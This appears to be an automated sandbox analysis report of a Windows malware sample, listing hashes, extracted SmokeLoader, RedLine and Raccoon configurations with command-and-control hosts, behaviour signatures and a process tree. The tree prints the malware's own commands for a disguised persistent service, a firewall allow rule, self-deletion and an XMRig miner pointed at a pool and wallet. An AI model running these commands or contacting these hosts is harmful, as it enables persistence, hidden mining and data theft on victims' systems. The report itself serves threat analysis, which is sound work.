Analysis

  • max time kernel
    150s
  • max time network
    199s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    30-09-2021 05:42

General

  • Target

    bd726f6f2f4408c541c619041d8c7c9f.exe

  • Size

    239KB

  • MD5

    bd726f6f2f4408c541c619041d8c7c9f

  • SHA1

    478c8b19b3b736f08b6a7475b29ece5abda36141

  • SHA256

    22c23de0a046b3652861d880ad53bbfca85448d0a6814d34151b1f359839dd37

  • SHA512

    815e74e6b7984365de1ea5106db7a631deb430fd9e099f39717ce1008e60d7858cdbd622113a6bdf0f9d63f669a396d7ea6a2e36fa01b0b1ce319c79057f2872

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://fiskahlilian16.top/

http://paishancho17.top/

http://ydiannetter18.top/

http://azarehanelle19.top/

http://quericeriant20.top/

rc4.i32
rc4.i32

Extracted

Family

redline

Botnet

r

C2

188.72.208.174:38430

Extracted

Family

raccoon

Botnet

5ff0ccb2bc00dc52d1ad09949e9c7663bc9ca4d4

Attributes
  • url4cnc

    https://t.me/agrybirdsgamerept

rc4.plain
rc4.plain

Extracted

Family

redline

Botnet

Second BUILD

C2

asyndenera.xyz:15667

Signatures

  • Gozi RM3

    A heavily modified version of Gozi using RM3 loader.

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 3 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • suricata: ET MALWARE Sharik/Smoke CnC Beacon 11

    suricata: ET MALWARE Sharik/Smoke CnC Beacon 11

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 13 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Checks BIOS information in registry 2 TTPs 4 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 64 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Themida packer 3 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 2 IoCs
  • Looks up external IP address via web service 6 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 5 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 14 IoCs
  • Modifies system certificate store 2 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 16 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SendNotifyMessage 4 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\bd726f6f2f4408c541c619041d8c7c9f.exe
    "C:\Users\Admin\AppData\Local\Temp\bd726f6f2f4408c541c619041d8c7c9f.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1876
    • C:\Users\Admin\AppData\Local\Temp\bd726f6f2f4408c541c619041d8c7c9f.exe
      "C:\Users\Admin\AppData\Local\Temp\bd726f6f2f4408c541c619041d8c7c9f.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:656
  • C:\Users\Admin\AppData\Local\Temp\8A06.exe
    C:\Users\Admin\AppData\Local\Temp\8A06.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1708
    • C:\Users\Admin\AppData\Local\Temp\8A06.exe
      C:\Users\Admin\AppData\Local\Temp\8A06.exe
      2⤵
      • Executes dropped EXE
      • Checks SCSI registry key(s)
      • Suspicious behavior: MapViewOfSection
      PID:1220
  • C:\Users\Admin\AppData\Local\Temp\8D13.exe
    C:\Users\Admin\AppData\Local\Temp\8D13.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1724
    • C:\Users\Admin\AppData\Local\Temp\8D13.exe
      C:\Users\Admin\AppData\Local\Temp\8D13.exe
      2⤵
      • Executes dropped EXE
      PID:1420
  • C:\Users\Admin\AppData\Local\Temp\9869.exe
    C:\Users\Admin\AppData\Local\Temp\9869.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of AdjustPrivilegeToken
    PID:1396
    • C:\Users\Admin\AppData\Roaming\9869.exe
      "C:\Users\Admin\AppData\Roaming\9869.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of AdjustPrivilegeToken
      PID:1928
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c ""C:\Users\Admin\AppData\Local\Self.bat" "
        3⤵
          PID:612
          • C:\Windows\SysWOW64\chcp.com
            chcp 1251
            4⤵
              PID:380
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 0 &Del C:\Users\Admin\AppData\Roaming\9869.exe
            3⤵
              PID:1448
              • C:\Windows\SysWOW64\choice.exe
                choice /C Y /N /D Y /T 0
                4⤵
                  PID:1516
            • C:\Windows\SysWOW64\cmd.exe
              cmd /c ""C:\Users\Admin\AppData\Local\Self.bat" "
              2⤵
                PID:1064
                • C:\Windows\SysWOW64\chcp.com
                  chcp 1251
                  3⤵
                    PID:1328
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 0 &Del 9869.exe
                  2⤵
                    PID:612
                    • C:\Windows\SysWOW64\choice.exe
                      choice /C Y /N /D Y /T 0
                      3⤵
                        PID:1784
                  • C:\Users\Admin\AppData\Local\Temp\9F7C.exe
                    C:\Users\Admin\AppData\Local\Temp\9F7C.exe
                    1⤵
                    • Executes dropped EXE
                    • Suspicious use of WriteProcessMemory
                    PID:916
                    • C:\Windows\SysWOW64\cmd.exe
                      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\fcodskew\
                      2⤵
                        PID:432
                      • C:\Windows\SysWOW64\cmd.exe
                        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\jdzfqasy.exe" C:\Windows\SysWOW64\fcodskew\
                        2⤵
                          PID:1800
                        • C:\Windows\SysWOW64\sc.exe
                          "C:\Windows\System32\sc.exe" create fcodskew binPath= "C:\Windows\SysWOW64\fcodskew\jdzfqasy.exe /d\"C:\Users\Admin\AppData\Local\Temp\9F7C.exe\"" type= own start= auto DisplayName= "wifi support"
                          2⤵
                            PID:1556
                          • C:\Windows\SysWOW64\sc.exe
                            "C:\Windows\System32\sc.exe" description fcodskew "wifi internet conection"
                            2⤵
                              PID:1276
                            • C:\Windows\SysWOW64\sc.exe
                              "C:\Windows\System32\sc.exe" start fcodskew
                              2⤵
                                PID:1128
                              • C:\Windows\SysWOW64\netsh.exe
                                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                                2⤵
                                  PID:1272
                              • C:\Users\Admin\AppData\Local\Temp\A660.exe
                                C:\Users\Admin\AppData\Local\Temp\A660.exe
                                1⤵
                                • Executes dropped EXE
                                • Checks BIOS information in registry
                                • Checks whether UAC is enabled
                                • Suspicious use of NtSetInformationThreadHideFromDebugger
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1792
                              • C:\Users\Admin\AppData\Local\Temp\B2C0.exe
                                C:\Users\Admin\AppData\Local\Temp\B2C0.exe
                                1⤵
                                • Executes dropped EXE
                                PID:1196
                                • C:\Users\Admin\AppData\Local\Temp\InternodesPiets_2021-09-29_21-00.exe
                                  "C:\Users\Admin\AppData\Local\Temp\InternodesPiets_2021-09-29_21-00.exe"
                                  2⤵
                                  • Executes dropped EXE
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:1396
                                • C:\Users\Admin\AppData\Local\Temp\Money10k_.exe
                                  "C:\Users\Admin\AppData\Local\Temp\Money10k_.exe"
                                  2⤵
                                  • Executes dropped EXE
                                  • Checks BIOS information in registry
                                  • Checks whether UAC is enabled
                                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                                  • Modifies system certificate store
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:1784
                              • C:\Windows\SysWOW64\fcodskew\jdzfqasy.exe
                                C:\Windows\SysWOW64\fcodskew\jdzfqasy.exe /d"C:\Users\Admin\AppData\Local\Temp\9F7C.exe"
                                1⤵
                                • Executes dropped EXE
                                • Suspicious use of SetThreadContext
                                PID:924
                                • C:\Windows\SysWOW64\svchost.exe
                                  svchost.exe
                                  2⤵
                                  • Drops file in System32 directory
                                  • Suspicious use of SetThreadContext
                                  • Modifies data under HKEY_USERS
                                  PID:1020
                                  • C:\Windows\SysWOW64\svchost.exe
                                    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                                    3⤵
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:1916
                              • C:\Users\Admin\AppData\Local\Temp\BB39.exe
                                C:\Users\Admin\AppData\Local\Temp\BB39.exe
                                1⤵
                                • Executes dropped EXE
                                PID:1260

                              Network

                              MITRE ATT&CK Enterprise v6

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              • memory/656-61-0x0000000075891000-0x0000000075893000-memory.dmp

                                Filesize

                                8KB

                              • memory/656-59-0x0000000000400000-0x0000000000409000-memory.dmp

                                Filesize

                                36KB

                              • memory/916-96-0x0000000000020000-0x0000000000033000-memory.dmp

                                Filesize

                                76KB

                              • memory/916-103-0x0000000000400000-0x000000000086C000-memory.dmp

                                Filesize

                                4.4MB

                              • memory/924-124-0x0000000000400000-0x000000000086C000-memory.dmp

                                Filesize

                                4.4MB

                              • memory/1020-121-0x0000000000080000-0x0000000000095000-memory.dmp

                                Filesize

                                84KB

                              • memory/1196-113-0x0000000001060000-0x0000000001061000-memory.dmp

                                Filesize

                                4KB

                              • memory/1204-63-0x0000000003B60000-0x0000000003B75000-memory.dmp

                                Filesize

                                84KB

                              • memory/1204-95-0x0000000004210000-0x0000000004225000-memory.dmp

                                Filesize

                                84KB

                              • memory/1260-134-0x0000000000220000-0x00000000002B0000-memory.dmp

                                Filesize

                                576KB

                              • memory/1260-139-0x0000000000400000-0x00000000008AC000-memory.dmp

                                Filesize

                                4.7MB

                              • memory/1396-86-0x00000000004A0000-0x00000000004A1000-memory.dmp

                                Filesize

                                4KB

                              • memory/1396-85-0x00000000002E0000-0x00000000002E1000-memory.dmp

                                Filesize

                                4KB

                              • memory/1396-209-0x0000000004754000-0x0000000004756000-memory.dmp

                                Filesize

                                8KB

                              • memory/1396-206-0x0000000004751000-0x0000000004752000-memory.dmp

                                Filesize

                                4KB

                              • memory/1396-208-0x0000000004753000-0x0000000004754000-memory.dmp

                                Filesize

                                4KB

                              • memory/1396-207-0x0000000004752000-0x0000000004753000-memory.dmp

                                Filesize

                                4KB

                              • memory/1396-205-0x0000000000400000-0x000000000045D000-memory.dmp

                                Filesize

                                372KB

                              • memory/1396-202-0x0000000001EA0000-0x0000000001EBF000-memory.dmp

                                Filesize

                                124KB

                              • memory/1396-204-0x0000000000230000-0x0000000000260000-memory.dmp

                                Filesize

                                192KB

                              • memory/1396-203-0x0000000001FE0000-0x0000000001FFE000-memory.dmp

                                Filesize

                                120KB

                              • memory/1396-84-0x0000000000980000-0x00000000009D1000-memory.dmp

                                Filesize

                                324KB

                              • memory/1396-82-0x0000000000A00000-0x0000000000A01000-memory.dmp

                                Filesize

                                4KB

                              • memory/1420-89-0x0000000000400000-0x0000000000422000-memory.dmp

                                Filesize

                                136KB

                              • memory/1724-78-0x00000000002C0000-0x00000000002C1000-memory.dmp

                                Filesize

                                4KB

                              • memory/1724-69-0x00000000003B0000-0x00000000003B1000-memory.dmp

                                Filesize

                                4KB

                              • memory/1784-199-0x00000000011B0000-0x00000000011B1000-memory.dmp

                                Filesize

                                4KB

                              • memory/1784-201-0x0000000005530000-0x0000000005531000-memory.dmp

                                Filesize

                                4KB

                              • memory/1792-100-0x0000000001100000-0x0000000001101000-memory.dmp

                                Filesize

                                4KB

                              • memory/1792-106-0x0000000005360000-0x0000000005361000-memory.dmp

                                Filesize

                                4KB

                              • memory/1876-62-0x0000000000020000-0x0000000000029000-memory.dmp

                                Filesize

                                36KB

                              • memory/1916-187-0x00000000000C0000-0x00000000001B1000-memory.dmp

                                Filesize

                                964KB

                              • memory/1928-138-0x0000000004990000-0x0000000004991000-memory.dmp

                                Filesize

                                4KB

                              • memory/1928-142-0x00000000045E0000-0x000000000460A000-memory.dmp

                                Filesize

                                168KB

                              • memory/1928-129-0x00000000001D0000-0x00000000001D1000-memory.dmp

                                Filesize

                                4KB